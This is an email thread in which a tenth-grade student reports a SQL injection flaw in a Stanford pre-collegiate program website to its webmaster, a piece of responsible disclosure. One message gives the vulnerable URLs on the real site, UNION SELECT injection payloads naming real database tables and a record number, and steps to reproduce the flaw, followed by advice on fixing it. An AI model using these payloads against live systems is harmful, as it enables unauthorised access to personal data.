Re: [EPGYRT #279402] [SQL Injection] Website ofStanfordPre-Collegiate Summer Institute

From:Franklin Liu<fliu28@stanford.edu>
Time:Wednesday, May 30, 2018 10:41 PM
To:Koke_Cacao<i@chenhanke.me>

Hanke

Thank you for the information.
And congratulations to your acceptance to Summer Institutes. We look forward to seeing you at 'Artificial Intelligence for Robots'.

Franklin Liu

From: Koke_Cacao <i@chenhanke.me>
Sent: Tuesday, May 29, 2018 6:43:02 PM
To: Franklin Liu
Subject: Re: [EPGYRT #279402] [SQL Injection] Website of StanfordPre-Collegiate Summer Institute

Hi Mr.Liu, (correct me if I am wrong)

The bug occurs only after students logging in to their SPCS Summer Status page. In `https://precollegiate.stanford.edu/summer/onlinestudentform.html`, there is a request for inputs aready set up for the users `?program=SI&year=2018` by clicking `Online Student Information Form` on `https://precollegiate.stanford.edu/summer/applicantpage.html`. But users can manipulate the code through input on their browser like this `https://precollegiate.stanford.edu/summer/onlinestudentform.html?program=SI&year=%272018`. The website even made hacking convinient by showing all the source code after people's operation. As the result people can try this `https://precollegiate.stanford.edu/summer/onlinestudentform.html?program=SI&year=2018 UNION SELECT do_guests, tshirt, special_info FROM epgy.summerinfo p, epgy.summerschedule sch WHERE p.seqnum = 268953` or `https://precollegiate.stanford.edu/summer/onlinestudentform.html?program=SI&year=2018 UNION SELECT do_guests, tshirt, special_info FROM epgy.summerpref p, epgy.summerinfo i, epgy.summerschedule sch, epgy.summercourses sc WHERE i.seqnum = 268953`.

In summary, to reproduce the error:
1. Login in as a student who need to fill this form. Make sure his/her information in the database maches `program=SI&year=2018` if you want the page functions as normal.
2. Go to https://precollegiate.stanford.edu/summer/onlinestudentform.html (you will most likely to get a blank page), or go to `https://precollegiate.stanford.edu/summer/onlinestudentform.html?program=SI&year=2018` if you are a student like me.
3. Change the URL to `https://precollegiate.stanford.edu/summer/onlinestudentform.html?program=SI&year=2018 UNION SELECT do_guests, tshirt, special_info FROM epgy.summerinfo p, epgy.summerschedule sch WHERE p.seqnum = 268953`. The machine would run:

```
SELECT do_guests, tshirt, special_info
        FROM epgy.summerinfo
        WHERE seqnum = 268953
        AND year = 2018 UNION SELECT do_guests, tshirt, special_info FROM epgy.summerinfo p,
epgy.summerschedule sch WHERE p.seqnum = 268953
```

To fix this, you probably need to filter user input and use prepared statements. Good Luck!

Best,
Hanke Chen
10th Grader
Sandy Spring Friends School
16923 Norwood Road
Sandy Spring, Maryland 20860
Let Your Lives Speak

---------- Original ----------

From: "Franklin Liu"<fliu28@stanford.edu>;
Date: Wed, May 30, 2018 00:00 AM
To: "Koke_Cacao"<i@chenhanke.me>;
Subject: Re: [EPGYRT #279402] [SQL Injection] Website of StanfordPre-Collegiate Summer Institute

Hanke Chen

Thank you for bringing this to our attention.
Can you provide us more information on this bug? Please include URL if possible.

Thank you.

Franklin Liu

From: Koke_Cacao via RT <spcs-webmaster@stanford.edu>
Sent: Tuesday, May 29, 2018 5:14:56 AM
Subject: [EPGYRT #279402] [SQL Injection] Website of Stanford Pre-Collegiate Summer Institute

Tue May 29 05:14:56 2018: Request 279402 was acted upon.
Transaction: Ticket created by i@chenhanke.me
Queue: epgywebmaster
Subject: [SQL Injection] Website of Stanford Pre-Collegiate Summer Institute
Owner: Nobody

Requestors: i@chenhanke.me

Status: new

Ticket <URL: https://epgyrt.stanford.edu:/Ticket/Display.html?id=279402 >

Dear Stanford Pre-Collegiate Summer Institute Webmasters,

I am a student who applied for Stanford Pre-Collegiate Summer Institute. Recently, I discovered a SQL-injection vulnerability on your website. As I was browsing the page, filling the forms online, I accidentally found out a way to run my written code on your machine. That is pretty dangerous and can be illegally used to get unpermitted information. How would you want me to send more information about the bug to you?

Thanks,

Hanke Chen

10th Grader

Sandy Spring Friends School

16923 Norwood Road

Sandy Spring, Maryland 20860

Let Your Lives Speak